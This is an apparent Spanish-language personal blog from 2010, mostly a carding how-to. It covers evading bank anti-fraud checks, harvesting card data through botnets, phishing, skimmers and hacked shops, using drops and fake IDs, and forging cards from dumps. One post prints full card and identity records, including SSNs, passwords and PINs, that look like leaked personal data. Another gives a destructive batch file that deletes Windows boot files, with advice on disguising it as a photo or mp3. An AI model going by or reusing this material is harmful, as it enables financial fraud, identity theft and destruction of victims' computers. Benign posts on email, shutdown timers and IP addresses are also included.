Sidneius Blogspot

lunes, 26 de abril de 2010

Carding Antifraude como evitarlo

La Antifraude y formas de evitarlo

A simple vista puede parecer que para practicar carding basta con leer un par de textos y tener material de trabajo, que la parte tecnica es nomas segir las instrucciones de seguridad y explotar a lo loko... En realidad los sistemas bancarios con el tiempo han desarrollado sistemas de proteccion para evitar el uso no autorizado de cuentas y tarjetas bancarias. No suele ser nada del otro mundo pero sin saber "camuflar" las actividades fraudulentas como actividades legales el carder principiante no llega a nada en la malloria de los casos.

Veamos lo que pasa con las tarjetas de credito:

Lo primero que puede pensar un principiante cuando al intentar pagar algo le salga "Declined" es que la tarjeta utilizada esta mal o no tiene fondos. Efectivamente podria ser la razon, pero en la practica no siempre lo es. Lo que puede suceder en realidad, es que el sistema del banco detecto algo "sospechoso" en su actividad o maquina. Al principio hemos de tener en cuenta que el sistema de proteccion nunca tiene que ser "Demasiado" extricto ya que dificultaria la vida a clientes legales que igual que los carders en cualquier momento pueden parecerle al sistema como sospechosos. Lo que se suele hacer es denegar las actividades que incumplan ciertas normas, que se suelen cumplir en acciones legales. Las normas que mas se ven son

EL PAIS DE PROCEDENCIA DE LA TARJETA HA DE COINCIDIR CON LA IP DEL CLIENTE

EL PROVEEDOR DE INTERNET HA DE COINCIDIR CON EL PAIS DE LA IP DEL CLIENTE

LA MAQUINA DEL HA DE TENER CONFIGURACION REGIONAL Y DEL TECLADO DEL PAIS DE LA TARJETA

LA DIRECCION DE FACTURACION HA DE COINCIDIR CON LA DIRECCION DE ENVIO.

Si nos ponemos a pensar esto tiene logica, ya que en la mayoria de casos es asi como esta todo cuando queremos tramitar una accion legal. En caso de que la compra sea legal y al sistema de autentificacion no le guste algo siempre se puede llamar al banco, explicarles el problema y esperar que te lo solucionen. Sera mucho mas dificil hacerlo con datos robados ya que te pueden dejar en blanco con alguna pregunta que no sabria responder, asique no lo tenemos tan mal...)

Teniendo en cuenta que muchas veces hay que recurir a las tarjetas internacionales los sistemas antifraude podrian jodernos mucho el negocio... Pero por suerte se pueden engañar)...

SOLUCIONES :

Antes de ver los problemas quisiera añadir que es de buena costumbre trabajar en una maquina virtual o en un Servidor Dedicado, Servidor virtual.

*EL PAIS DE PROCEDENCIA DE LA TARJETA HA DE COINCIDIR CON LA IP DEL CLIENTE

La solucion podria ser un proxy pero hemos de tener en cuenta que tendria que ser un proxy https, y que muchos sistemas antifraude al detectar un proxy directamente denegan la accion. Por eso lo mas conveniente es utilizar proxy Socks, ya que

estos no se dejan ver y soportan conexiones tanto http como https. Por cuestiones de seguridad es recomendable utilizar una cadena de socks. (muchos socks al mismo tiempo)

*EL PROVEEDOR DE INTERNET HA DE COINCIDIR CON EL PAIS DE LA IP DEL CLIENTE

Aunque socks nos arregle un poco las cosas segiran habiendo sistemas que denegaran la accion por incumplir esta "normativa" Entonces lo que buscamos es una VPN!

definicion VPN : http://es.wikipedia.org/wiki/VPN

VPN es la solucion total para el anonimato que mas que cambiarte la IP te cambia los datos de tu proveedor. (en realidad no te cambia nada, simplemente te conectas usando los datos de una maquina remota) Ten en cuenta que al elegir VPN tienes que tener claro que ha de estar situado en el pais que quieres explotar. Si no tienes claro el manejo de VPN ya sabes que google es tu mejor amigo...

*LA MAQUINA DEL HA DE TENER CONFIGURACION REGIONAL Y DEL TECLADO DEL PAIS DE LA TARJETA

Igual no cuesta cambiar esos datos entrando en Panel de Control... pero cuando trabajas cada vez con paises diferentes acabas cansandote de tanto cambiar las configuraciones. Por suerte existen programas que lo hacen por ti! Se trata de programas que modifican en tiempo real los HEADERS con esta informacion que tu navegador envia al servidor de autentificacion. Yo uso un programa que se llama "CCtools" tiene varias opciones de spoofing+ opciones de cambio de la ID del

Windows entre otras funcciones que son para evitar el blacklist de tu maquina.

*LA DIRECCION DE FACTURACION HA DE COINCIDIR CON LA DIRECCION DE ENVIO.

Teniendo en cuenta que esta regla limita mucho la flexibilidad de compras legales, no se ve mucho... pero aunasi hay que saber tratar con este tipo de antifraude. Solucion definitiva para este tipo de protecciones de momento no existe... Pero sI! una de las soluciones seria hacer enroll de la tarjeta y una vez dentro modificar la direccion de facturacion.

Al aplicar todas las soluciones mencionadas arriva el porcentaje total de acciones autorizadas aumentara de 40 a 80% de veces)

Carding Detallado

La idea del carding consiste en manipulaciones bancarias con fin de obtener un beneficio que es pagado por alguien que no eres tu.

Para poder practicar el carding nesesitaremos cierto material(datos bancarios, dumps, cc`s etc).

Los datos normalmente se consigen por medios de :

BOTNETS

Una botnet es una red de ordenadores (de 5000++++) infectados por un programa que hace que el ordenador se conecte a un servidor que controla todas las maquinas infectadas. De aqui se pueden sacar Cuentas, Tarjetas, Datos personales etc. Las formas de hacerlo varian de la creatividad del carder. Pero lo mas usual es cambiar el host file de la victima redireccionando los principales sitios de pagos a un scam. *scam : Clon de algun recurso que graba los datos los datos introducidos en los formularios o los envia directamente a su dueno. De aqui se pueden sacar datos como informacion de tarjetas y cuentas bancarias.

SKIMMERS

Los SKIMMERS son maquinas que se quedan con los datos de las bandas magneticas y las guardan a un archivo (DUMP). Para sacar dumps con este tipo de aparatillos es de buena costumbre aprovechar lugares de trabajo. Lo unico que hay que hacer es pasar la tarjeta por el lector. Lo mas 1337 serian los ATM skimmers... pero tienen sus inconvenientes a la hora de ponerlos)))

HACKING E-SHOPS.

Aqui no hay nada que detallar ya que hay muchisimas tecnicas de hacerlo. Lo que hay que tener en cuenta al elegir un e-shop victima es que ha de aceptar tarjetas de credito sin redireccion a la pasarela de pagos del banco de la tarjeta ya que estos no guardan datos de la tarjeta en su base... Tiene que ser un sitio con formulario estandar para introducir la tarjeta que bi se valida al instante.

FAKE SHOPS.

No tiene que ser Fake shop... la idea es crear una tienda virtual donde se pueda pagar con tarjetas de credito. De ally hay dos salidas. La primera seria realmente hacer envios al comprador. Y la segunda es por alguna razon cancelar su pedido. Mas si antes de cancelar el pedido del todo se pieden datos adicionales como fotocopia del SSN del pasaporte o de la tarjeta mucho mejor!

COMPRAR MATERIAL

Si lo todo lo mencionado antes le parece demasiado dificil, hay una salida facil... pero hay que pagarla... Pueden encontrar material de todo tipo en foros o canales especializados en carding (IRC). no voy a poner enlaces ya que no cuesta nada buscar en google. Si tiene conocimientos de ingles... MUCHO MAS FACIL). Recomendaria negociar en foros ya que en IRC hay mas probabilidades de ser rippead0)...

Termino recordando que la creatividad de la estafa es infinita. lo unico que hay que hacer pensar unpoco en lo que te has propuesto y de como consegirlo... y despues... hacerlo)

Hay varias formas del carding. Mas abajo intentare mencionar como funccionan las principales formas.

LAS PRINCIPALES EXPLOTACIONES:

Una vez tenemos el material buscamos una manera de aprovecharlo...

Una vez que tengas:

TARJETAS DE CREDITO:

Lo mas comun que se puede hacer con una CC es comprar stuff por internet)...

Los datos mas tipicos que se requieren para pagar con tarjeta son : Cardholdername(nombre del titular), Codigo de seguridad (digitos de la parte trasera de la tarjeta), exp_date(fecha de expiracion) <-- casi siempre. y claro esta el numero de la tarjeta.

Lo ideal para este tipo de compras son sitios que se toman la responsabilidad de retirar el dinero por ellos mismos (ejemplo paypal) al recibir la respuesta 00 (tarjeta valida) y no mediante la pasarela de pagos del banco emisor de la tarjeta. porque en este caso dependiendo del banco se suelen solicitar datos adicionales (como el pin de la tarjeta, el numero de la seguridad social) o directamente mandan sms al numero del titular con un codigo de activacion de la transferencia. Asique apuntad siempre los bin's (bank identification number. las primeras 6 cifras de la tarjeta) de sus tarjetas que les fueron bien.

En pocas palabras, buscar algo que nos guste y pagarlo con la tarjeta. Ahora surgen las preguntas "Donde envio el stuff"?

Los carders profecionales suelen trabajar con personas de otros paises que les recojen los envios(drops), los venden y les envian la mitad del dinero obtenido. Es mala costumbre cardear cosas con las que sabes que al final te quedas tu mismo... ya que si te hacen una visita ya tienen pruebas para encerrarte de 3 a 6 años)....

Otros envian a conocidos de sus amigos con documentacion falsa... hay quien envia sus compras a casas abandonadas y las esperan a la puerta de la casa... si es posible con documentacion falsa tb (un carnet en un idioma desconocido por el "cartero" donde figure el nombre del receptor vale. asique media hora de photoshop y listo).

TRANSFERIR DINERO A CUENTA BANCARIA.

Para transferir dinero a una cuenta bancaria hay dos caminos.

1.) De una cuenta virtual.

2.) De una cuenta bancaria virtual.

El primer metodo es mas facil pero sacas mas si consiges una transferencia direta de una cuenta bancaria. Es todo lo mismo que con compras por internet... pero aqui hay que complicarse montando un negocio virtual y poder proporcionar simpre facturas por si las solicitan.

EL donde retirar el dinero? pues lo mismo que con compras de internet. la eleccion es suya.
un buen ejemplo de un banco virtual podria ser paypal o moneybookers, no voy a entrar en detalles de como trabajar con estos bancos ya que es todo una teoria... Pero si investigan dentro de nada consegiran hacer sus primeras transferencias)...

El metodo dos consiste en consegir la password del panel de control virtual de una cuenta bancaria real y transferir el dinero a sus drops (leer arriba: drops y el como consegir este tipo de cuentas.)
El problema esque los bancos suelen proporcionar al usuario una tarjeta con numeros junto a un codigo(tanes) que sirve

de verificacion para hacer una transferencia.

Algo tipo :

1 = 32
2 = 1b
3 = ff
4 = 1f....

y al intentar hacer una transferencia el banco le pide los valores de determinados numeros. Solucion : Inject de tanes (modulo para bots que reenvia datos que introduce el titular de la cuenta) o buscar bancos sin este tipo de protecciones. (dificil)

REAL CARDING

El real carding consiste en fabricacion de tarjetas de credito. es el metodo mas beneficioso y el mas costoso a la vez...

ya que el equipo completo para fabricar tarjetas +o- parecidas a las reales puede llegar a costar hasta 10 mil euros. Pero si lo montas viene lo bueno))

el equipo nesesario es:

Encoder:
Encoder de cintas magneticas. nesesitan uno que pueda grabar como minimo 2 pistas (tracks) ya que la mayoria de las tarjetas visa y mc llevan 2 y rara vez 3 pistas. un aparatito asi cuesta de 500 euros hasta 2000.

Emboster:
Es el aparatito que les da el relieve a las tarjetas. (los numeritos del numero de la tarjeta y del nombre del titular). El aparatito en realidad no es tan caro (nose el precio exacto porque el mio me lo hize yo))) es bastante facil de hacer. yo utilize una plancha y unas plantillas de un mecano de niños ;)

Card printer:
pequeña maquina que imprime en las tarjetas de plastico. (el precio no suele subir a mas de 4000ˆ, pero no vale ahorrar en ese aparato ya que de el depende como van a quedar las tarjetas).

Y lo ultimo es una maquinita que pega las cintas magneticas al plastico. este es opcional ya que por ally se venden

tarjetas prefabricadas (White card).

Bueno una vez tenemos todo esto consegimos un dump por ally fabricamos unas cuantas tarjetas, copramos un billete de avion a algun pais donde nos gustaria hacer las compras y nos bamos.

Ahora simplemente simplemente pagamos con la tarjeta en caja como si fuera nuestra.

IMPORTANTE:

Es recomendable llevar siempre dinero efectivo cuando sales de compras (para no hacerte el sospechoso en caso de que algo salga mal).

Es importante tambien que las targetas sean de credito i no de debito ya que las de debito siempre piden pin (es dificil pillar un dump con pin ya que estos los usan directamente i no los venden)

En caso de que la tarjeta devuelva el codigo "tarjeta robada" y el vendedor intente quitar la tarjeta NUNCA DEJES QUE TE QUITEN LA TARJETA. bajo cualquier excusa llevatelacontigo. SIEMPRE!

cuando hagas tus compras intenta ser natural i no te preocupes de nada.
recuerda que el pensamiento tiene una fuerza tremenda... no dejes que tus paranoyas te molesten a la hora de hacer $$$ =)

Tutorial escrito por SPQR

jueves, 22 de abril de 2010

Mail Desechables

Huuuuu kiero bajar el programa ke b¡vi en el foro!! buuu pero me tengo ke registrar y me da paja cueckk!! miles de veces he dixo esto pero no me inscribo con mi correo por ke se ke depsues me llegaran millones de spams a la bandeja de entrada ( o a lo menos ke se hagan uno derechamente para inscribrise en cosas por el estilo)

Bueno aca les traigo una serie de paginas en las que puedes crear un correo en 1 segundo jajajaj si en 1 segundo, estos correos despues de pasado un tiempo se eliminaran por eso son desechables

Correos 10 Minutos

Despues de entrar solo deben hacer click en Abrir mi cuenta de correo temporal en 10 Minute Mail. y listo ya tendran su correo para poder inscribirse donde sea, y si no alcanzaron en 10 minutos pueden pedir otros 10 con solo un click

es lo mismo

Correos en Yopmail sin registro

la diferencia es que tambien es con un click pero duran para siempre

Correos 1 click para siempre

Nota : Si te creas correos en estas paginas solo puedes recibir correos

Mas!!

Apaga tu PC Cronometradamente

Mas de alguna ocacion estuve hasta la tantas de la madrugada esperando que un maldito puto archivo se bajara a mi pc para apagar el pc e ir a dormir, bueno ahora esto se acabo ya que esta la forma de apagar el pc de manera cronometrada

Este es un copy paste del Portalnet y del Warez (no se cual es el original :P) es de gran utilidad que alguna vez lo pense pero nunca lo hice (la del wn flojo XD)

Apaga tu PC Cronometradamente

.-Primero hacemos click derecho en el escritorio>Nuevo>Acceso directo.

Luego les saldra esta ventana

aqui hacemos click en Examinar y nos vamos a esta ruta MI PC>Disco Local (C:)>Windows>System 32 aqui buscamos el archivo de tipo .exe llamado Shutdown

una vez lo hemos encontrado hacemos click en aceptar y luego en Siguiente y aparecera la siguiente ventana

Aqui colocamos el nombre de nuestro acceso directo ( en mi caso le puse Apagar) una ves escogido el nombre hacemos click en finalizar

ahora vamos al escritorio y buscamos nuestro archivo . cuando lo tengan hacer click derecho en el e ir a propiedades

Luego les saldra esta ventana

Aki situamos el cursor en el casillero que dice Destino

Al final de todo, despues de Shutdown.exe agregamos lo siguiente : -s -t 100 -f lo que deberia quedar asi:
C:\Windows\system32\Shutdown.exe -s -t 100 -f ======> osea estamos diciendo q se apage el equipo en 100 segundos, este es un ejemplo ustedes pueden colocar el tiempo q deseen en segundos y asi lo apagan a ala hora q deseen
ahora hacen click en aceptar, y buscan el archivo en el escritorio y hacen doble click y les saldra la ventana de advertencia q su pc se apagara en tanto tiempo, pero ojo q una vez hecho no lo podran cerrar con nada xd.............( mas abajo explico como cancelarlo)

-s = "Apagar el equipo"
-t = "Establecer tiempo de apagado en segundos -t xx"
-f = "Fuerza el cierre de aplicaciones sin advertir"

hay mas operaciones q pueden colocar a gusto:

-l = "cerrar secion"
-r = "Apagar y reiniciar equipo"
-c = "comentario de apagado maximo 127 caracteres

Cancelar este apagado

Como veran cancelar el apagado es casi imposible pero para hacerlo solo tienen q crear otro acceso directo tal cual como explique mas arriba y al momento de cambiar el nombre le colocan uno diferente,yo le puse cancelar apagado asi

luego realizan lo mismo anterior buscan el archivo en el escritorio Click derecho>propiedades y en el casillero q dice destino al final de Shutdown.exe agregan -a quedando asi:C:\Windows\system32\Shutdown.exe -a

click en aceptar y ya esta listo el "cancelar el apagado" automatico,Solo le hacen doble click cuando el apagado automatico este corriendo.

Placebo Movistar Arena 08042010

Una de mis bandas favoritas Placebo, debo reconocer que el nuevo baterista Steve Forrest le ha dado un nuevo aire a la banda y suenan mejor en vivo que en los cds lo que hace a este grupo demasiado power!! yo estuve en el concierto y fue increible el sonido, la iluminacion, la puesta en escena todo!! aparte esta rodeado de minas ricas ajajajaja Fuente www.Placebo.cl Track List

01 For What It’s Worth
02 Ashtray Heart
03 Battle For The Sun
04 Soulmates
05 Speak In Tongues
06 Follow The Cops Back Home
07 Every You Every Me
08 Special Needs
09 Breathe Underwater
10 Julien
11 The Never-Ending Why
12 Come Undone
13 Meds
14 Song To Say Goodbye
15 Special K
16 The Bitter End
17 Trigger Happy
18 Infra-red
19 Taste In Men

martes, 13 de abril de 2010

Who is Carding

Antes que todo

Warning!!

No asumo ninguna responsabilidad debido al mal empleo de la inforacion entregada, puesto que este texto tiene solamente fines educativos y en ningun caso pretende incitar a nadie a cometer delitos informaticos o de otra indole

claro ?? XDD!!

1.- Introduccion
2.- Terminos
3.- Tipos de Tarjetas
4.- Utilidades
5.- Leyes

Introduccion

En este topic dare informacion sobre los aspectos generales sobre el carding no posteare numeros de tarjetas, claves, downloads de fakes y cosas por el estilo. Mas bien es caxar de lo ke se trata principalmente para aquellos que vienen empezando, si alguno de ustedes posee mas informacion hagan sus aportes no hay porblema (igual caxo mas pero seria muuy largo postear tooodo)

Terminos

CARDING: La palabra Carding es el cojunto de todas las palabras siguientes, esta engloba todas en una luego tienes sus variantes como Cardeable, Carder etc que

DROP: Un buen Carder debe tener minimo un Drop listo para funcionar, el Drop es el wn que recibe el envio del objeto fisico y una vez recibido te lo envia a ti, te preguntaras para que hacer dos viajes pudiendo hacer uno? bien pues imagina que la tienda donde haz cardeado se da cuenta que la compra a sido una estafa, empezaran por denunciar la ip del comprador, seguidamente ver donde se ha mandado el producto, cancelar el envio si no es demasiado tarde, y claro esta la PDI cibernetica o de estafas se pondra weiar para saber a que direccion fue el paquete, tambien decir que no muchos paises pueden permitirse el lujo de investigar estos delitos. Bien pues aqui es donde entra el Drop, en el 90% de las compras no pasara nada si seguis los consejos de las lecciones siguientes claro, pero siempre hay un porcentaje que se den cuenta de la estafa e investiguen de donde se realizo y a donde se envió el paquete, imagina que investigan y llegan hasta nuestro Drop, que pasaría? lo normal es que verían que la ip de comprador no contrasta con su ip es mas, ni siquiera tiene pc xD en los casos que el drop no tenga ni pc es bastante mejor ya que se libraría al instante de la culpabilidad y aun teniendo no tendrían pruebas el lo único que a echo es ver que le a llegado un paquete por correos ya pagado y el como ciudadano normal y corriente a aprovechado y lo a aceptado cual delito se le aplicaría? ni siquiera una multa. como máximo devolver el paquete. -Pero como usted no conoce a la persona que a estafado por internet a esta tienda este objeto? no no señor yo ni siquiera se lo que es una estafa, ni siquiera tengo pc xD. En fin a lo largo de tu instrucción por la red te encontraras con muchos de estos wns denominados Drops, pensar que realizan una gran labor del trabajo y como tal deben llevarse una comisión, normalmente se suelen llevar un duplicado del objeto que compréis es decir, yo quiero una PSP la ultima consola de sony por ejemplo, pues se hace un trato con el Drop y en vez de 1 se piden 2 una para mi y otra para el , cuando el las reciba el se queda una y la otra te la envía claro esta los gastos de envío corren a su cuenta. Como te puedes cuenta la relación entre el Drop y el Carder va siempre unida, el carder no hace nada sin el drop y el drop no hace nada sin el carder mutuamente se saltan la ley para beneficio propio. Es aconsejable que el Drop sea de países como Venezuela, Brasil, Colombia, Chile, todos algo pobres en temas de leyes informáticas por no decir muy pobres xD (aca en Chile con suerte hay 10 lineas escritas sobre los delitos informaticos XDD)

PHISING o SCAM : Es el acto que consiste en recomendar la visita a una pagina webfalsa, haciendo creer al visitante que se encuentra en la página original o copiada. La vía de difusión más habitual de esta técnica es el correo electrónico, aunque últimamente se han detectado vías alternativas como el teléfono o el fax. Normalmente se utiliza con fines delictivos, duplicando páginas web de entidades financieras de renombre. Una vez en las páginas falsas, se pide al visitante que introduzca datos personales (claves de acceso, etc.) que posteriormente son usados por los creadores de la estafa. Las entidades recomiendan que no se revelen nunca las claves personales aunque sean pedidas en nombre de tales entidades.En ocasiones, el término "phishing" se dice que es la contracción de "password harvesting fishing" (cosecha y pesca de contraseñas), aunque esto probablemente es un acrónimo retroactivo.De forma más general, el nombre phishing también se aplica al acto de adquirir, de forma fraudulenta y a través de engaño, información personal como contraseñas o detalles de una tarjeta de crédito, haciéndose pasar por alguien digno de confianza con una necesidad verdadera de tal información en un e-mail parecido al oficial, un mensaje instantáneo o cualquier otra forma de comunicación. Es una forma de ataque de la ingeniería social. Puede verse un ejemplo en http://purl.org/net/tbc/misc/phish001.htm (en inglés).El término phishing fue creado a mediados de los por los crackers que procuraban robar las cuentas de AOL. Un atacante se presentaría como empleado de AOL y enviaría un mensaje inmediato a una víctima potencial. El mensaje pediría que la víctima revelara su contraseña con variadas excusas como la verificación de la cuenta o confirmación de la información de la facturación. Una vez que la víctima entregara la contraseña, el atacante podría tener acceso a la cuenta de la víctima y utilizarla para cualquier otro propósito, tales como Spamming.

RIPPER: Se denomina Ripper a una persona con la que haces un trato en el mundo de los carders y acaba estafandote por medio de mentiras o trampas, estas personas estan al margen del honor, y no son mas que personas con pocos conocimientos de carding , maleficas y sin honor, la avaricia les acaba trallendo problemas y la carcel esta llena de estas personas.

CARDEABLE: Se denomina cardeable cuando hablamos de una tienda online da igual el servicio que de pero que acepte las compras sin problemas, por ejemplo voy a comprar un hosting en algunas empresas me pueden pedir datos muy especificos y raros de conseguir, ademas de ponerme muchas trabas para la compra, eso no seria cardeable, encambio una web que me diera el hosting solo introduciendo pocos datos y que me de el servicio pagado pronto y sin problemas seria cardeable.

3.- Tipos De Tarjetas:

American Express = 3AXX XXXXXX XXXXX (A = 4 or 7)

enRoute = 3ABC XXXXXX XXXXX (ABC = 014 or 149)

Visa = 4XXX XXXX XXXX XXXX Mastercard = 5AXX XXXX XXXX XXXX (A = 1-5)

Discover = 6011 XXXX XXXX XXXX Diners Club 3AXX XXXXXX XXXX (A = 0 or 6 or Cool

JCB = 3ABC XXXX XXXX XXXX (ABC = 088,096,112,158,337 or 528)

Este es un esquema que os ayudara a entender la forma de las tarjetas que hay actualmente. komo veis cada una comienza por un digito y se divide en varias partes.

Cuando hablamos de cc o cc´s nos referimos a tarjetas de credito claro esta, tambien podemos llamarlas segun los datos que tengamos si decimos tener una cc FULL seria una asi:

Name on card : George T Blood Numbers
on Card : 6011009020587437
Expiration Date : 04 / 07 CCV : 318 PIN :
Card Type : dsc Country :
United States City : University Place State :
WA Zip : 98467 Adress : 5231 58th
Ave W. Phone : 253 759 8769

-=-=Personal Info-=-=-= SSN : DOB : MMN :

User : gblood3838@yahoo.com
Pass : 5239lady ---
Firstname: Judith Lastname:
Howes Address: 818 E. Slaton Ln.
City: Deer Park State:
WA Zipcode: 99006
Phone: 509-276-6401
SSN: 516-60-6467
Mother'sMaidenName: Bernice Kintschi Drive
Licence: HOWESJA473NO
IssuedState: WA DOB: 08-20-1953
CardType: Debit Cardname: Judith A. Howes

Cardnumber: 4366189296726608 Expiry Date: 01-2007 CVV2: 928 ATM Pin: 2550 BankName: US Bank BankPhone: 1800usbanks RoutingNumber: 125000105 Account Number: 153502384099 PaypalEmail: wjhowes@aol.com PaypalPassword: 25shakucat -----

Ejemplo de Trajeta no es real! Como ves es completisima y claro esta tienes TODOS los datos para hacer compras o lo que quieras, incluso transferencias.

4.- Utilidades:

Podreis encontrar por toda la red bastantes programas, para distintos funcionamientos basados en carding.

5- Leyes:

Aqui os dejo las leyes informaticas de varios Paises para que os informeis. No le deis mucha importancia o os entrara miedo hasta bajaros peliculas xD.

Delitos Informaticos ESPAÑA http://delitosinformaticos.com/legislacion/espana.shtml

Delitos Informaticos Argentina http://delitosinformaticos.com/legis...rgentina.shtml

Delitos Informaticos Chile http://delitosinformaticos.com/legislacion/chile.shtml

Delitos Informaticos Costa Rica http://delitosinformaticos.com/legis...ostarica.shtml

Delitos Informaticos Peru http://delitosinformaticos.com/legislacion/peru.shtml

Delitos Informaticos Venezuela http://delitosinformaticos.com/legis...enezuela.shtml

En la parte de las nomenclaturas de las tarjetas de credito no se ahora existiran otras conbinaciones este tuto es un pokito pasado y como todos bien sabemos las normas de seguridad van variando cada vez mas

martes, 6 de abril de 2010

YouTube Downloader

Para tal fin existen varias maneras, desde extensiones para tu navegador web hasta programas para tu PC, sin embargo, hoy les dejaré saber la forma mas sencilla de todas: Simplemente substituyan la Y de YouTube por el número 3, y ya está.

Como ejemplo, si el enlace original a un video de YouTube es este:

http://www.youtube.com/watch?v=-dadPWhEhVk

Ahora puedes descargar el video con simplemente cambiar el enlace a este:

http://www.3outube.com/watch?v=-dadPWhEhVk

¿Qué está pasando aquí? Pues es muy sencillo. Lo que ocurre es que alguna empresa o persona es dueña del dominio 3ouTube.com, y lo que han hecho es que detectan el patrón de la dirección de video de YouTube y ellos mismos deducen cuál es el archivo directo y real que YouTube mismo utiliza en su reproductor Flash, y lo único que hacen es ponerte un enlace directo a ese archivo. Simple y genial

Ahora, si no te conformas con un mp4 de buena calidad, y quieres mas opciones (Alta Definición, iPhone, etc), entonces hay otra solución similar, y es agregar la palabra kick a YouTube, de esta manera:

http://www.kickYoutube.com/watch?v=-dadPWhEhVk

Fuente: Portalnet (CyP XD)

viernes, 19 de marzo de 2010

Downloads Sin Resgistrarse

Mas de alguna vez hemos estado buscando un programa y justo lo encontramos en San Google, pero al momento de hacer click en el link nos topamos ke la web pertenece a un foro y si no te registras no puedes tener acceso al link, bueno hay una forma de bajar ese tan preciado programa sin registrarse en el foro (tu bien sabes la lata ke lleva eso)

Nota> desconozco si funciona en todas pero funciona jejejeje

Busca el progarama en Google
Pincha cualquier enlace (obviamente es aplicable si te sale la frase "Tienes que registrate para ver el contenido" o si no para que pos XDD!!
Regresas a la pagina de google (Antes frustrado y en rabiado por no haber podido descargar)
Pinchas ......En Cache
Recorres la pagina sin semi formato y si te das cuenta mas abajo te saldra el link de la descarga

dejo un progarama de referencia para que busquen lo busquen google y vean como funciona, en este caso la primera direccion esta restringida

Batch Asesina un PC

Bueno aca otra vez tenia medio botado mi Blog, pero lo retomo nuevamente

Hoy posteare un batch destructivo que dejara inutilzable el pc donde nos ejecutemos, o sea, prffff..murio....se finni en terminos simple kedara pa la caga y morira jajajaja

Este codigo lo sake de un foro amigo asi ke no es mio ok? No me hago responsable de su uso

aca va

@echo off
attrib -r -s -h %HOMEDRIVE%\autoexec.bat
del %HOMEDRIVE%\autoexec.bat
attrib -r -s -h %HOMEDRIVE%\boot.ini
del %HOMEDRIVE%\boot.ini
attrib -r -s -h %HOMEDRIVE%\ntldr
del %HOMEDRIVE%\ntldr
attrib -r -s -h %WinDIR%\win.ini
del %WinDIR%\win.ini
shutdown -r -t 15 -c "Error en Windows, te hice mierda el pc jojojo"

La forma de dejarlo y para ke los descuidados users lo ejecuten es compilarlo bajo una foto,mp3,documento o archivo similar, para ello utlizaremos el SFX kien nos ayudara a efectuar esta tarea jejejejej (6)

Bonus

Si ejecutaste este Batch por equivocacion en tu pc (como le paso a un amigo mio jojojoj) bueno la solucion son dos

SOLUCION AL PROBLEMA FALTA NTLDR.

Para solucionar el problema de Falta el archivo NTLDR hay seguir el procedimiento siguiente:

1.- Arrancar el pc con el disco de Windows XP dentro.

2.- Cuando nos salga el asistente de instalación de Windows Xp elegir la opción de Reparar Sistema.

(En caso de que no salga el asistente significa que el sistema no ha podido arrancar desde el CD. Prueba a ponerlo en otra unidad y volver a arrancar).

Si sigue igual, entra en la BIOS y comprueba que la primera unidad en la secuencia de arranque es alguna de tus unidades de CD/DVD.

3.- Una vez que tengamos en pantalla el editor con C:\Windows, teclear 1 y pulsar Intro

4.- Nos pedirá la Clave de administrador. Si hemos puesto una clave la tecleamos. Si no hemos puesto clave pulsamos enter

5.- Una vez que estemos en C:\Windows teclear FIXMBR y pulsar enter

6.- El sistema nos advierte de que si queremos continuar y ponemos S y pulsamos enter

Una vez que estamos en el punto 6, tenemos que copiar dos archivos, debido que en dicha pérdida se arrastra también otro que es el ntdetect, por lo tanto hay que copiar ntldr y ntdetect en nuestro disco duro.

Para ello escribiremos lo siguiente:

copy D:\i386\ntldr C:\

copy D:\i386\ntdetect.com C:\

(Donde D:\ sería la unidad lectora donde se encuentra el cd de Windows XP y C:\ es la unidad de arranque donde tenemos instalado Windows).

Si todo sale bien funciona a la perfeccion

Con respecto a este problema debemos tener esto en cuenta:

Si el sistema anterior falla no tenemos más remedio que reinstalar Windows, pero eliminando la particion, volviendola a crear y formateando de nuevo (es recomendable utilizar el formateo normal, NO el formateo rápido. Con esto lamentablemente se perderan todos nuestros datos.

NO es normal que se pierda este archivo, por lo que su pérdida es síntoma de un posible problema con el disco duro, sobre todo si el problema se repite con una cierta frecuencia.

Si no tienes el Disco de Arranke FORMATEAR (6)

lunes, 8 de febrero de 2010

Direcciones Internet Protocol (I.P)

Hola chic@s buenas!!! Para empezar yo sé que el siguiente tema esta subido, re-subido y ultra subido XDD!! Pero, quisiera apelar a vuestra empatia con las personas que vienen aprendiendo y revisarlo de nuevo….les parece?

Según Wikepdia la IP es:

Una dirección IP es un número que identifica de manera lógica y jerárquica a una interfaz de un dispositivo (habitualmente una computadora) dentro de una red que utilice el protocolo IP (Internet Protocol), que corresponde al nivel de red del protocolo TCP/IP. Dicho número no se ha de confundir con la dirección MAC que es un número hexadecimal fijo que es asignado a la tarjeta o dispositivo de red por el fabricante, mientras que la dirección IP se puede cambiar. Esta dirección puede cambiar 2 o 3 veces al día; y a esta forma de asignación de dirección IP se denomina una dirección IP dinámica (normalmente se abrevia como IP dinámica).

Esto en lenguaje coloquial se refiere a que la IP es como nuestro numero de cedula de identidad y que sin ella es imposible salir a la red.
Es como si fueras de viaje al extranjero y en el aeropuerto te piden tu RUT y no lo tienes ¿Qué paso? No puedes salir ¡!cueck!!

a menos que utilices otro método solamente en Internet por que en la vida real se llama suplantación de identidad, eso lo veremos mas tarde jejejej

Los sitios de Internet poseen una IP FIJA es decir, esta no cambia nunca ya que nuestro navegador por defecto necesita saber donde esta ubicada nuestra pagina exactamente.

Las paginas web como también los humanos necesitamos llamarnos por un nombre fácil de recordar, es decir, es mas cómodo para nosotros llamarnos Juan, Pedro y Diego que llamarnos por nuestros Ruts entonces, para evitar tal confusión existen unos nombrecitos que se citan con Nombres de Dominios o DNS, es el nombre que tu ves y recuerdas cuando quieres ingresar a una pagina web, algunos ejemplos

Dirección IP Nombre de Dominio

209.85.95.147 www.google.com
201.220.232.16 www.movistar.cl
64.37.182.61 www.sony.com

Nota: para saber la IP de una página Web cualquiera en nuestro computador debemos ejecutar el comando PING consola SIMBOLO DE SISTEMA o MS DOS, Ruta

Aceptar y escribir comando Ping en la nueva ventana que parecerá, de la siguiente forma

El siguiente recuadro veremos marcada la IP de la página consultada en rojo, los otros datos corresponden a los registros entregados por el comando ejecutado, por ende, no lo veremos por que es otro tema

IMG]http://i46.tinypic.com/2afajrs.jpg[/IMG]

Si no sabes cual diablo es tu IP, en la misma consola de MS DOS escribe en vez del comando PING, escribe IPCONFIG todo junto.

Lo que esta en rojo debería salir tu IP y por ultimo si te da lata apretar 8 teclas para ejecutar el comando con estas ya son suficientes

Ya ahora que sabemos consultar la Ip de páginas y la nuestra vamos a consultar la Ip de personas conectadas a la red de cualquier “victima” (jajaja me da risa la palabra por que parece de teleserie jajajaj)

Tenemos 3 mundos el cual podemos consultar IPs,

Email
Msn
